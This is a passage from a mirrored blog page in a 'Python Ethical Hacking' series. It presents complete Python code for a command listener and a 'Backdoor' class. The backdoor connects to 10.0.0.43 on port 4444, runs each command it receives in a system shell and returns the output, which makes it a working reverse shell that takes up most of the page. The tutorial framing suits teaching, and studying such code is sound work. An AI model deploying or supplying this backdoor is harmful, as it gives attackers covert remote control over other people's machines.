zoukankan      html  css  js  c++  java
  • Python Ethical Hacking

    Refactoring - Creating a Listener Class

    #!/usr/bin/env python
    import socket
    
    
    class Listener:
        def __init__(self, ip, port):
            listener = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            listener.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
            listener.bind((ip, port))
            listener.listen(0)
            print("[+] Waiting for incoming connections")
            self.connection, address = listener.accept()
            print("[+] Got a connection from " + str(address))
    
        def execute_remotely(self, command):
            self.connection.send(command)
            return self.connection.recv(1024).decode()
    
        def run(self):
            while True:
                command = input(">> ").encode()
                result = self.execute_remotely(command)
                print(result)
    
    
    my_listener = Listener("10.0.0.43", 4444)
    my_listener.run()

    Creating a Backdoor class:

    #!/usr/bin/env python
    import socket
    import subprocess
    
    
    class Backdoor:
        def __init__(self, ip, port):
            self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            self.connection.connect((ip, port))
    
        def execute_system_command(self, command):
            return subprocess.check_output(command, shell=True)
    
        def run(self):
            while True:
                command = self.connection.recv(1024).decode()
                command_result = self.execute_system_command(command)
                self.connection.send(command_result)
            connection.close()
    
    
    my_backdoor = Backdoor("10.0.0.43", 4444)
    my_backdoor.run()

    相信未来 - 该面对的绝不逃避,该执著的永不怨悔,该舍弃的不再留念,该珍惜的好好把握。
  • 相关阅读:
    mysql 遇到的一些问题
    Nginx 深入浅出学习
    spring十三种代理之 -代理模式
    spring 十三种模式之 -- 装饰器模式
    layui使用遇到的一些问题-- 数据表格中嵌套下拉框
    格式化时间-标准做法
    provide --- inject
    vue窗口最上边显示路由进度条
    element --- el-popover
    多个音频播放时,只能播放一个
  • 原文地址:https://www.cnblogs.com/keepmoving1113/p/11625175.html
Copyright © 2011-2022 走看看